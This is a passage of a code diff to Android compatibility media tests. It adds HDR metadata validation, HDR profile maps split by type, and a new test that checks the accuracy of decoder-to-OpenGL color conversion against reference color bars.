+        android.os.Bundle args = InstrumentationRegistry.getArguments();
+        mediaTypePrefix = args.getString(MEDIA_TYPE_PREFIX_KEY);
+    }
 
     /**
      * Tests if the device under test has support for required components as guided by CDD.
@@ -41,8 +49,8 @@
      */
     @Test
     public void testCddRequiredCodecsAvailability() {
-        final boolean needAudio = true;
-        final boolean needVideo = true;
+        final boolean needAudio = mediaTypePrefix == null || mediaTypePrefix.startsWith("audio");
+        final boolean needVideo = mediaTypePrefix == null || mediaTypePrefix.startsWith("video");
         boolean[] modes = {true, false};
         for (boolean isEncoder : modes) {
             ArrayList<String> cddRequiredMimeList =
diff --git a/tests/media/src/android/mediav2/cts/CodecTestBase.java b/tests/media/src/android/mediav2/cts/CodecTestBase.java
index 0293495..1a86cd5 100644
--- a/tests/media/src/android/mediav2/cts/CodecTestBase.java
+++ b/tests/media/src/android/mediav2/cts/CodecTestBase.java
@@ -32,6 +32,7 @@
 import android.media.MediaFormat;
 import android.os.Build;
 import android.os.PersistableBundle;
+import android.os.SystemProperties;
 import android.util.Log;
 import android.util.Pair;
 import android.view.Display;
@@ -40,6 +41,7 @@
 import androidx.annotation.NonNull;
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import org.junit.After;
 import org.junit.Assert;
 import org.junit.Assume;
 import org.junit.Before;
@@ -61,6 +63,8 @@
 import java.util.concurrent.locks.Condition;
 import java.util.concurrent.locks.Lock;
 import java.util.concurrent.locks.ReentrantLock;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
 import java.util.stream.IntStream;
 import java.util.zip.CRC32;
 
@@ -72,6 +76,7 @@
 import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
 import static android.media.MediaCodecInfo.CodecProfileLevel.*;
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -582,6 +587,7 @@
 }
 
 abstract class CodecTestBase {
+    public static final boolean IS_Q = ApiLevelUtil.getApiLevel() == Build.VERSION_CODES.Q;
     public static final boolean IS_AT_LEAST_R = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
     // Checking for CODENAME helps in cases when build version on the development branch isn't
     // updated yet but CODENAME is updated.
@@ -592,6 +598,8 @@
     // TIRAMISU is set correctly
     public static final boolean FIRST_SDK_IS_AT_LEAST_T =
             ApiLevelUtil.isFirstApiAfter(Build.VERSION_CODES.S_V2);
+    public static final boolean VNDK_IS_AT_LEAST_T =
+            SystemProperties.getInt("ro.vndk.version", 0) > Build.VERSION_CODES.S_V2;
     private static final String LOG_TAG = CodecTestBase.class.getSimpleName();
     enum SupportClass {
         CODEC_ALL, // All codecs must support
@@ -599,7 +607,30 @@
         CODEC_DEFAULT, // Default codec must support
         CODEC_OPTIONAL // Codec support is optional
     }
+    static final String HDR_STATIC_INFO =
+            "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42 40 e8 03 64 00 e8 03 2c 01";
+    static final String[] HDR_DYNAMIC_INFO = new String[]{
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
+            "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
+            "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00",
 
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0a 00 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
+            "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
+            "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00",
+
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0e 80 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
+            "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
+            "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00",
+
+            "b5 00 3c 00 01 04 00 40  00 0c 80 4e 20 27 10 00" +
+            "0e 80 00 24 08 00 00 28  00 00 50 00 28 c8 00 c9" +
+            "90 02 aa 58 05 ca d0 0c  0a f8 16 83 18 9c 18 00" +
+            "40 78 13 64 d5 7c 2e 2c  c3 59 de 79 6e c3 c2 00",
+    };
+    boolean mTestDynamicMetadata = false;
     static final String CODEC_PREFIX_KEY = "codec-prefix";
     static final String MEDIA_TYPE_PREFIX_KEY = "media-type-prefix";
     static final String MIME_SEL_KEY = "mime-sel";
@@ -608,6 +639,9 @@
     static final Map<String, String> mDefaultDecoders = new HashMap<>();
     static final HashMap<String, int[]> mProfileMap = new HashMap<>();
     static final HashMap<String, int[]> mProfileSdrMap = new HashMap<>();
+    static final HashMap<String, int[]> mProfileHlgMap = new HashMap<>();
+    static final HashMap<String, int[]> mProfileHdr10Map = new HashMap<>();
+    static final HashMap<String, int[]> mProfileHdr10PlusMap = new HashMap<>();
     static final HashMap<String, int[]> mProfileHdrMap = new HashMap<>();
     static final boolean ENABLE_LOGS = false;
     static final int PER_TEST_TIMEOUT_LARGE_TEST_MS = 300000;
@@ -633,20 +667,29 @@
     static final int[] AVC_SDR_PROFILES = new int[]{AVCProfileBaseline, AVCProfileMain,
             AVCProfileExtended, AVCProfileHigh, AVCProfileConstrainedBaseline,
             AVCProfileConstrainedHigh};
-    static final int[] AVC_HDR_PROFILES = new int[]{AVCProfileHigh10, AVCProfileHigh422,
-            AVCProfileHigh444};
+    static final int[] AVC_HLG_PROFILES = new int[]{AVCProfileHigh10};
+    static final int[] AVC_HDR_PROFILES = AVC_HLG_PROFILES;
     static final int[] AVC_PROFILES = combine(AVC_SDR_PROFILES, AVC_HDR_PROFILES);
-    static final int[] VP9_SDR_PROFILES = new int[]{VP9Profile0, VP9Profile1};
-    static final int[] VP9_HDR_PROFILES = new int[]{VP9Profile2, VP9Profile3,
-            VP9Profile2HDR, VP9Profile3HDR, VP9Profile2HDR10Plus, VP9Profile3HDR10Plus};
+    static final int[] VP9_SDR_PROFILES = new int[]{VP9Profile0};
+    static final int[] VP9_HLG_PROFILES = new int[]{VP9Profile2};
+    static final int[] VP9_HDR10_PROFILES = new int[]{VP9Profile2HDR};
+    static final int[] VP9_HDR10Plus_PROFILES = new int[]{VP9Profile2HDR10Plus};
+    static final int[] VP9_HDR_PROFILES =
+            combine(VP9_HLG_PROFILES, combine(VP9_HDR10_PROFILES, VP9_HDR10Plus_PROFILES));
     static final int[] VP9_PROFILES = combine(VP9_SDR_PROFILES, VP9_HDR_PROFILES);
     static final int[] HEVC_SDR_PROFILES = new int[]{HEVCProfileMain, HEVCProfileMainStill};
-    static final int[] HEVC_HDR_PROFILES = new int[]{HEVCProfileMain10,
-            HEVCProfileMain10HDR10, HEVCProfileMain10HDR10Plus};
+    static final int[] HEVC_HLG_PROFILES = new int[]{HEVCProfileMain10};
+    static final int[] HEVC_HDR10_PROFILES = new int[]{HEVCProfileMain10HDR10};
+    static final int[] HEVC_HDR10Plus_PROFILES = new int[]{HEVCProfileMain10HDR10Plus};
+    static final int[] HEVC_HDR_PROFILES =
+            combine(HEVC_HLG_PROFILES, combine(HEVC_HDR10_PROFILES, HEVC_HDR10Plus_PROFILES));
     static final int[] HEVC_PROFILES = combine(HEVC_SDR_PROFILES, HEVC_HDR_PROFILES);
     static final int[] AV1_SDR_PROFILES = new int[]{AV1ProfileMain8};
-    static final int[] AV1_HDR_PROFILES = new int[]{AV1ProfileMain10,
-            AV1ProfileMain10HDR10, AV1ProfileMain10HDR10Plus};
+    static final int[] AV1_HLG_PROFILES = new int[]{AV1ProfileMain10};
+    static final int[] AV1_HDR10_PROFILES = new int[]{AV1ProfileMain10HDR10};
+    static final int[] AV1_HDR10Plus_PROFILES = new int[]{AV1ProfileMain10HDR10Plus};
+    static final int[] AV1_HDR_PROFILES =
+            combine(AV1_HLG_PROFILES, combine(AV1_HDR10_PROFILES, AV1_HDR10Plus_PROFILES));
     static final int[] AV1_PROFILES = combine(AV1_SDR_PROFILES, AV1_HDR_PROFILES);
     static final int[] AAC_PROFILES = new int[]{AACObjectMain, AACObjectLC, AACObjectSSR,
             AACObjectLTP, AACObjectHE, AACObjectScalable, AACObjectERLC, AACObjectERScalable,
@@ -716,6 +759,19 @@
         mProfileSdrMap.put(MediaFormat.MIMETYPE_VIDEO_AV1, AV1_SDR_PROFILES);
         mProfileSdrMap.put(MediaFormat.MIMETYPE_AUDIO_AAC, AAC_PROFILES);
 
+        mProfileHlgMap.put(MediaFormat.MIMETYPE_VIDEO_AVC, AVC_HLG_PROFILES);
+        mProfileHlgMap.put(MediaFormat.MIMETYPE_VIDEO_HEVC, HEVC_HLG_PROFILES);
+        mProfileHlgMap.put(MediaFormat.MIMETYPE_VIDEO_VP9, VP9_HLG_PROFILES);
+        mProfileHlgMap.put(MediaFormat.MIMETYPE_VIDEO_AV1, AV1_HLG_PROFILES);
+
+        mProfileHdr10Map.put(MediaFormat.MIMETYPE_VIDEO_HEVC, HEVC_HDR10_PROFILES);
+        mProfileHdr10Map.put(MediaFormat.MIMETYPE_VIDEO_VP9, VP9_HDR10_PROFILES);
+        mProfileHdr10Map.put(MediaFormat.MIMETYPE_VIDEO_AV1, AV1_HDR10_PROFILES);
+
+        mProfileHdr10PlusMap.put(MediaFormat.MIMETYPE_VIDEO_HEVC, HEVC_HDR10Plus_PROFILES);
+        mProfileHdr10PlusMap.put(MediaFormat.MIMETYPE_VIDEO_VP9, VP9_HDR10Plus_PROFILES);
+        mProfileHdr10PlusMap.put(MediaFormat.MIMETYPE_VIDEO_AV1, AV1_HDR10Plus_PROFILES);
+
         mProfileHdrMap.put(MediaFormat.MIMETYPE_VIDEO_AVC, AVC_HDR_PROFILES);
         mProfileHdrMap.put(MediaFormat.MIMETYPE_VIDEO_HEVC, HEVC_HDR_PROFILES);
         mProfileHdrMap.put(MediaFormat.MIMETYPE_VIDEO_VP9, VP9_HDR_PROFILES);
@@ -757,22 +813,26 @@
         if (!areFormatsSupported(codecName, mime, formats)) {
             switch (supportRequirements) {
                 case CODEC_ALL:
-                    fail("format(s) not supported by codec: " + codecName + " for mime : " + mime);
+                    fail("format(s) not supported by codec: " + codecName
+                                    + " for mime : " + mime + " formats: " + formats);
                     break;
                 case CODEC_ANY:
                     if (selectCodecs(mime, formats, features, isEncoder).isEmpty())
-                        fail("format(s) not supported by any component for mime : " + mime);
+                        fail("format(s) not supported by any component for mime : " + mime
+                                        + " formats: " + formats);
                     break;
                 case CODEC_DEFAULT:
                     if (isDefaultCodec(codecName, mime, isEncoder))
                         fail("format(s) not supported by default codec : " + codecName +
-                                "for mime : " + mime);
+                                "for mime : " + mime + " formats: " + formats);
                     break;
                 case CODEC_OPTIONAL:
                 default:
-                    Assume.assumeTrue("format(s) not supported by codec: " + codecName +
-                            " for mime : " + mime, false);
+                    // the later assumeTrue() ensures we skip the test for unsupported codecs
+                    break;
             }
+            Assume.assumeTrue("format(s) not supported by codec: " + codecName + " for mime : " +
+                    mime, false);
         }
     }
 
@@ -872,6 +932,16 @@
         return isDefault;
     }
 
+    static boolean isVendorCodec(String codecName) {
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS);
+        for (MediaCodecInfo codecInfo : mcl.getCodecInfos()) {
+            if (codecName.equals(codecInfo.getName())) {
+                return codecInfo.isVendor();
+            }
+        }
+        return false;
+    }
+
     static ArrayList<String> compileRequiredMimeList(boolean isEncoder, boolean needAudio,
             boolean needVideo) {
         Set<String> list = new HashSet<>();
@@ -1263,6 +1333,21 @@
         return height;
     }
 
+    byte[] loadByteArrayFromString(final String str) {
+        if (str == null) {
+            return null;
+        }
+        Pattern pattern = Pattern.compile("[0-9a-fA-F]{2}");
+        Matcher matcher = pattern.matcher(str);
+        // allocate a large enough byte array first
+        byte[] tempArray = new byte[str.length() / 2];
+        int i = 0;
+        while (matcher.find()) {
+            tempArray[i++] = (byte) Integer.parseInt(matcher.group(), 16);
+        }
+        return Arrays.copyOfRange(tempArray, 0, i);
+    }
+
     boolean isFormatSimilar(MediaFormat inpFormat, MediaFormat outFormat) {
         if (inpFormat == null || outFormat == null) return false;
         String inpMime = inpFormat.getString(MediaFormat.KEY_MIME);
@@ -1321,6 +1406,44 @@
         }
     }
 
+    void validateHDRStaticMetaData(MediaFormat fmt, ByteBuffer hdrStaticRef) {
+        ByteBuffer hdrStaticInfo = fmt.getByteBuffer(MediaFormat.KEY_HDR_STATIC_INFO, null);
+        assertNotNull("No HDR static metadata present in format : " + fmt, hdrStaticInfo);
+        if (!hdrStaticRef.equals(hdrStaticInfo)) {
+            StringBuilder refString = new StringBuilder("");
+            StringBuilder testString = new StringBuilder("");
+            byte[] ref = new byte[hdrStaticRef.capacity()];
+            hdrStaticRef.get(ref);
+            byte[] test = new byte[hdrStaticInfo.capacity()];
+            hdrStaticInfo.get(test);
+            for (int i = 0; i < Math.min(ref.length, test.length); i++) {
+                refString.append(String.format("%2x ", ref[i]));
+                testString.append(String.format("%2x ", test[i]));
+            }
+            fail("hdr static info mismatch" + "\n" + "ref static info : " + refString + "\n" +
+                    "test static info : " + testString);
+        }
+    }
+
+    void validateHDRDynamicMetaData(MediaFormat fmt, ByteBuffer hdrDynamicRef) {
+        ByteBuffer hdrDynamicInfo = fmt.getByteBuffer(MediaFormat.KEY_HDR10_PLUS_INFO, null);
+        assertNotNull("No HDR dynamic metadata present in format : " + fmt, hdrDynamicInfo);
+        if (!hdrDynamicRef.equals(hdrDynamicInfo)) {
+            StringBuilder refString = new StringBuilder("");
+            StringBuilder testString = new StringBuilder("");
+            byte[] ref = new byte[hdrDynamicRef.capacity()];
+            hdrDynamicRef.get(ref);
+            byte[] test = new byte[hdrDynamicInfo.capacity()];
+            hdrDynamicInfo.get(test);
+            for (int i = 0; i < Math.min(ref.length, test.length); i++) {
+                refString.append(String.format("%2x ", ref[i]));
+                testString.append(String.format("%2x ", test[i]));
+            }
+            fail("hdr dynamic info mismatch" + "\n" + "ref dynamic info : " + refString + "\n" +
+                    "test dynamic info : " + testString);
+        }
+    }
+
     public void setUpSurface(CodecTestActivity activity) throws InterruptedException {
         activity.waitTillSurfaceIsCreated();
         mSurface = activity.getSurface();
@@ -1341,6 +1464,14 @@
             fail("no valid component available for current test ");
         }
     }
+
+    @After
+    public void tearDown() {
+        if (mCodec != null) {
+            mCodec.release();
+            mCodec = null;
+        }
+    }
 }
 
 class CodecDecoderTestBase extends CodecTestBase {
@@ -1530,8 +1661,15 @@
                 int height = format.getInteger(MediaFormat.KEY_HEIGHT);
                 int stride = format.getInteger(MediaFormat.KEY_STRIDE);
                 mOutputBuff.checksum(buf, info.size, width, height, stride, bytesPerSample);
+
+                if (mTestDynamicMetadata) {
+                    validateHDRDynamicMetaData(mCodec.getOutputFormat(), ByteBuffer
+                            .wrap(loadByteArrayFromString(HDR_DYNAMIC_INFO[mOutputCount])));
+
+                }
             }
         }
+
         if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
             mSawOutputEOS = true;
         }
@@ -1651,6 +1789,44 @@
         mCodec.release();
         mExtractor.release();
     }
+
+    void validateHDRStaticMetaData(String parent, String name, ByteBuffer HDRStatic,
+                                   boolean ignoreContainerStaticInfo)
+            throws IOException, InterruptedException {
+        mOutputBuff = new OutputManager();
+        MediaFormat format = setUpSource(parent, name);
+        if (ignoreContainerStaticInfo) {
+            format.removeKey(MediaFormat.KEY_HDR_STATIC_INFO);
+        }
+        mCodec = MediaCodec.createByCodecName(mCodecName);
+        configureCodec(format, true, true, false);
+        mCodec.start();
+        doWork(10);
+        queueEOS();
+        waitForAllOutputs();
+        validateHDRStaticMetaData(mCodec.getOutputFormat(), HDRStatic);
+        mCodec.stop();
+        mCodec.release();
+        mExtractor.release();
+    }
+
+    void validateHDRDynamicMetaData(String parent, String name, boolean ignoreContainerDynamicInfo)
+            throws IOException, InterruptedException {
+        mOutputBuff = new OutputManager();
+        MediaFormat format = setUpSource(parent, name);
+        if (ignoreContainerDynamicInfo) {
+            format.removeKey(MediaFormat.KEY_HDR10_PLUS_INFO);
+        }
+        mCodec = MediaCodec.createByCodecName(mCodecName);
+        configureCodec(format, true, true, false);
+        mCodec.start();
+        doWork(10);
+        queueEOS();
+        waitForAllOutputs();
+        mCodec.stop();
+        mCodec.release();
+        mExtractor.release();
+    }
 }
 
 class CodecEncoderTestBase extends CodecTestBase {
@@ -1659,6 +1835,9 @@
     // files are in WorkDir.getMediaDirString();
     private static final String INPUT_AUDIO_FILE = "bbb_2ch_44kHz_s16le.raw";
     private static final String INPUT_VIDEO_FILE = "bbb_cif_yuv420p_30fps.yuv";
+    protected static final String INPUT_AUDIO_FILE_HBD = "audio/sd_2ch_48kHz_f32le.raw";
+    protected static final String INPUT_VIDEO_FILE_HBD = "cosmat_cif_24fps_yuv420p16le.yuv";
+
     private final int INP_FRM_WIDTH = 352;
     private final int INP_FRM_HEIGHT = 288;
 
diff --git a/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java b/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java
new file mode 100644
index 0000000..96836e6
--- /dev/null
+++ b/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java
@@ -0,0 +1,385 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediav2.cts;
+
+import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.media.MediaCodec;
+import android.media.MediaFormat;
+import android.opengl.GLES20;
+import android.util.Log;
+
+import androidx.test.filters.LargeTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+import javax.microedition.khronos.opengles.GL10;
+
+/**
+ * Validates the correctness of color conversion in the decode followed by OpenGL
+ * rendering scenarios. The input video files fed to the decoders contain the pixel
+ * data in compressed YUV format. The output of the decoders is shared with OpenGL
+ * as external textures. And OpenGL outputs RGB pixels. The class validates whether
+ * the conversion of input YUV to output RGB is in accordance with the chosen color
+ * aspects. Video files used in the test do not have any color aspects info coded in
+ * the bitstreams
+ */
+@RunWith(Parameterized.class)
+public class DecodeGlAccuracyTest extends CodecDecoderTestBase {
+    private static final String LOG_TAG = DecodeGlAccuracyTest.class.getSimpleName();
+
+    // Allowed color tolerance to account for differences in the conversion process
+    private static final int ALLOWED_COLOR_DELTA = 8;
+
+    // The test video assets were generated with a set of color bars.
+    // Depending on the color aspects, the values from OpenGL pbuffer
+    // should not differ from the reference color values for the
+    // given color aspects below by more than the allowed tolerance.
+    //
+    // The reference RGB values were computed using the process described below.
+    //
+    // RGB = Transpose(FLOOR_CLIP_PIXEL(CONV_CSC * (Transpose(YUV) - LVL_OFFSET)))
+    // The matrices LVL_OFFSET and CONV_CSC for different color aspects are below.
+    //
+    // YUV values in the 8bit color bar test videos are in COLOR_BARS_YUV below
+    //
+    // The color conversion matrices (CONV_CSC) for the RGB equation above:
+    // MULTIPLY_ROW_WISE_LR = Transpose({255/219, 255/224, 255/224})
+    // CONV_FLOAT_601_FR =
+    //     {{1, 0, 1.402},
+    //      {1, -0.344136, -0.714136},
+    //      {1, 1.772, 0},}
+    // CONV_FLOAT_709_FR =
+    //     {{1, 0, 1.5748},
+    //      {1, -0.1873, -0.4681},
+    //      {1, 1.8556, 0},}
+    // CONV_FLOAT_601_LR = MULTIPLY_ROW_WISE_LR . CONV_FLOAT_601_FR
+    // CONV_FLOAT_709_LR = MULTIPLY_ROW_WISE_LR . CONV_FLOAT_709_FR
+    //
+    // The level shift matrices (LVL_OFFSET) for the RGB equation above:
+    // LVL_OFFSET_LR = Transpose({16, 128, 128})
+    // LVL_OFFSET_FR = Transpose({0, 128, 128})
+
+    private static final int[][] COLOR_BARS_YUV = new int[][]{
+            {126, 191, 230},
+            {98, 104, 204},
+            {180, 20, 168},
+            {121, 109, 60},
+            {114, 179, 172},
+            {133, 138, 118},
+            {183, 93, 153},
+            {203, 20, 33},
+            {147, 131, 183},
+            {40, 177, 202},
+            {170, 82, 96},
+    };
+
+    // Reference RGB values for 601 Limited Range
+    private static final int[][] COLOR_BARS_601LR = new int[][]{
+            {255, 17, 252},
+            {219, 40, 44},
+            {255, 196, 0},
+            {11, 182, 81},
+            {185, 55, 214},
+            {119, 137, 153},
+            {235, 183, 119},
+            {62, 255, 0},
+            {242, 103, 155},
+            {148, 0, 126},
+            {127, 219, 82},
+    };
+    // Reference RGB values for 601 Full Range
+    private static final int[][] COLOR_BARS_601FR = new int[][]{
+            {255, 31, 237},
+            {204, 51, 55},
+            {236, 188, 0},
+            {25, 176, 87},
+            {175, 65, 204},
+            {118, 136, 150},
+            {218, 177, 120},
+            {69, 255, 11},
+            {224, 106, 152},
+            {143, 0, 126},
+            {125, 208, 88},
+    };
+    // Reference RGB values for 709 Limited Range
+    private static final int[][] COLOR_BARS_709LR = new int[][]{
+            {255, 57, 255},
+            {234, 57, 42},
+            {255, 188, 0},
+            {0, 159, 79},
+            {194, 77, 219},
+            {117, 136, 154},
+            {240, 184, 116},
+            {43, 255, 0},
+            {253, 119, 155},
+            {163, 0, 130},
+            {120, 202, 78},
+    };
+
+    // The test videos were generated with the above color bars. Each bar is of width 16.
+    private static final int COLOR_BAR_WIDTH = 16;
+    private static final int COLOR_BAR_OFFSET_X = 8;
+    private static final int COLOR_BAR_OFFSET_Y = 64;
+
+    private int[][] mColorBars;
+
+    private final String mCompName;
+    private final String mFileName;
+    private int mWidth;
+    private int mHeight;
+    private final int mRange;
+    private final int mStandard;
+    private final int mTransferCurve;
+    private final boolean mUseYuvSampling;
+
+    private OutputSurface mEGLWindowOutSurface;
+    private int mBadFrames = 0;
+
+    public DecodeGlAccuracyTest(String decoder, String mediaType, String fileName, int range,
+            int standard, int transfer, boolean useYuvSampling) {
+        super(null, mediaType, null);
+        mCompName = decoder;
+        mFileName = fileName;
+        mRange = range;
+        mStandard = standard;
+        mTransferCurve = transfer;
+        mUseYuvSampling = useYuvSampling;
+
+        if (!mUseYuvSampling) {
+            mColorBars = COLOR_BARS_601LR;
+            if ((mStandard == MediaFormat.COLOR_STANDARD_BT601_NTSC) &&
+                    (mRange == MediaFormat.COLOR_RANGE_LIMITED)) {
+                mColorBars = COLOR_BARS_601LR;
+            } else if ((mStandard == MediaFormat.COLOR_STANDARD_BT601_NTSC) &&
+                    (mRange == MediaFormat.COLOR_RANGE_FULL)) {
+                mColorBars = COLOR_BARS_601FR;
+            } else if ((mStandard == MediaFormat.COLOR_STANDARD_BT709) &&
+                    (mRange == MediaFormat.COLOR_RANGE_LIMITED)) {
+                mColorBars = COLOR_BARS_709LR;
+            } else {
+                Log.e(LOG_TAG, "Unsupported Color Aspects.");
+            }
+        } else {
+            mColorBars = COLOR_BARS_YUV;
+        }
+    }
+
+    @Parameterized.Parameters(name = "{index}({0}_{1}_{3}_{4}_{5}_{6})")
+    public static Collection<Object[]> input() {
+        final boolean isEncoder = false;
+        final boolean needAudio = false;
+        final boolean needVideo = true;
+
+        final List<Object[]> argsList = Arrays.asList(new Object[][]{
+                // mediaType, asset, range, standard, transfer
+                // 601LR
+                {MediaFormat.MIMETYPE_VIDEO_AVC, "color_bands_176x176_h264_8bit.mp4",
+                        MediaFormat.COLOR_RANGE_LIMITED,
+                        MediaFormat.COLOR_STANDARD_BT601_NTSC,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, "color_bands_176x176_hevc_8bit.mp4",
+                        MediaFormat.COLOR_RANGE_LIMITED,
+                        MediaFormat.COLOR_STANDARD_BT601_NTSC,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {MediaFormat.MIMETYPE_VIDEO_VP8, "color_bands_176x176_vp8_8bit.webm",
+                        MediaFormat.COLOR_RANGE_LIMITED,
+                        MediaFormat.COLOR_STANDARD_BT601_NTSC,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, "color_bands_176x176_vp9_8bit.webm",
+                        MediaFormat.COLOR_RANGE_LIMITED,
+                        MediaFormat.COLOR_STANDARD_BT601_NTSC,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {MediaFormat.MIMETYPE_VIDEO_AV1, "color_bands_176x176_av1_8bit.webm",
+                        MediaFormat.COLOR_RANGE_LIMITED,
+                        MediaFormat.COLOR_STANDARD_BT601_NTSC,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+
+                // 601FR
+                {MediaFormat.MIMETYPE_VIDEO_AVC, "color_bands_176x176_h264_8bit_fr.mp4",
+                        MediaFormat.COLOR_RANGE_FULL,
+                        MediaFormat.COLOR_STANDARD_BT601_NTSC,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, "color_bands_176x176_hevc_8bit_fr.mp4",
+                        MediaFormat.COLOR_RANGE_FULL,
+                        MediaFormat.COLOR_STANDARD_BT601_NTSC,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {MediaFormat.MIMETYPE_VIDEO_VP8, "color_bands_176x176_vp8_8bit_fr.webm",
+                        MediaFormat.COLOR_RANGE_FULL,
+                        MediaFormat.COLOR_STANDARD_BT601_NTSC,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, "color_bands_176x176_vp9_8bit_fr.webm",
+                        MediaFormat.COLOR_RANGE_FULL,
+                        MediaFormat.COLOR_STANDARD_BT601_NTSC,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {MediaFormat.MIMETYPE_VIDEO_AV1, "color_bands_176x176_av1_8bit_fr.webm",
+                        MediaFormat.COLOR_RANGE_FULL,
+                        MediaFormat.COLOR_STANDARD_BT601_NTSC,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+
+                // 709LR
+                {MediaFormat.MIMETYPE_VIDEO_AVC, "color_bands_176x176_h264_8bit.mp4",
+                        MediaFormat.COLOR_RANGE_LIMITED,
+                        MediaFormat.COLOR_STANDARD_BT709,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {MediaFormat.MIMETYPE_VIDEO_HEVC, "color_bands_176x176_hevc_8bit.mp4",
+                        MediaFormat.COLOR_RANGE_LIMITED,
+                        MediaFormat.COLOR_STANDARD_BT709,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {MediaFormat.MIMETYPE_VIDEO_VP8, "color_bands_176x176_vp8_8bit.webm",
+                        MediaFormat.COLOR_RANGE_LIMITED,
+                        MediaFormat.COLOR_STANDARD_BT709,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {MediaFormat.MIMETYPE_VIDEO_VP9, "color_bands_176x176_vp9_8bit.webm",
+                        MediaFormat.COLOR_RANGE_LIMITED,
+                        MediaFormat.COLOR_STANDARD_BT709,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+                {MediaFormat.MIMETYPE_VIDEO_AV1, "color_bands_176x176_av1_8bit.webm",
+                        MediaFormat.COLOR_RANGE_LIMITED,
+                        MediaFormat.COLOR_STANDARD_BT709,
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO},
+
+                // Note: OpenGL is not required to support 709 FR. So we are not testing it.
+        });
+        final List<Object[]> exhaustiveArgsList = new ArrayList<>();
+        for (Object[] arg : argsList) {
+            int argLength = argsList.get(0).length;
+            boolean[] boolStates = {true, false};
+            for (boolean useYuvSampling : boolStates) {
+                Object[] testArgs = new Object[argLength + 1];
+                System.arraycopy(arg, 0, testArgs, 0, argLength);
+                testArgs[argLength] = useYuvSampling;
+                exhaustiveArgsList.add(testArgs);
+            }
+        }
+        return CodecTestBase.prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo,
+                false);
+    }
+
+    boolean isColorClose(int actual, int expected) {
+        int delta = Math.abs(actual - expected);
+        return (delta <= ALLOWED_COLOR_DELTA);
+    }
+
+    private boolean checkSurfaceFrame(int frameIndex) {
+        ByteBuffer pixelBuf = ByteBuffer.allocateDirect(4);
+        boolean frameFailed = false;
+        for (int i = 0; i < mColorBars.length; i++) {
+            int x = COLOR_BAR_WIDTH * i + COLOR_BAR_OFFSET_X;
+            int y = COLOR_BAR_OFFSET_Y;
+            GLES20.glReadPixels(x, y, 1, 1, GL10.GL_RGBA, GL10.GL_UNSIGNED_BYTE, pixelBuf);
+            int r = pixelBuf.get(0) & 0xff;
+            int g = pixelBuf.get(1) & 0xff;
+            int b = pixelBuf.get(2) & 0xff;
+            if (!(isColorClose(r, mColorBars[i][0]) &&
+                    isColorClose(g, mColorBars[i][1]) &&
+                    isColorClose(b, mColorBars[i][2]))) {
+                Log.w(LOG_TAG, "Bad frame " + frameIndex + " (rect={" + x + " " + y + "} :rgb=" +
+                        r + "," + g + "," + b + " vs. expected " + mColorBars[i][0] +
